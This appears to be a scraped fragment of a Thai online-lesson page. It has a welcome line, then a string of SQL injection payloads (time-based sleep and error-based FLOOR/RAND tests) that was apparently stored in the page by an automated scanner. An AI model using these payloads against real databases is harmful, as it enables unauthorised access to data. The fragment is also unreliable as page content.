ยินดีต้อนรับสู่บทเรียนออนไลน์ Mr. (94102)
(select(0)from(select(sleep(8.11)))v)/||(SELECT 0x76526b63 WHERE 7249=7249 AND (SELECT 3098 FROM(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(3098=3098,1))),0x7170627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||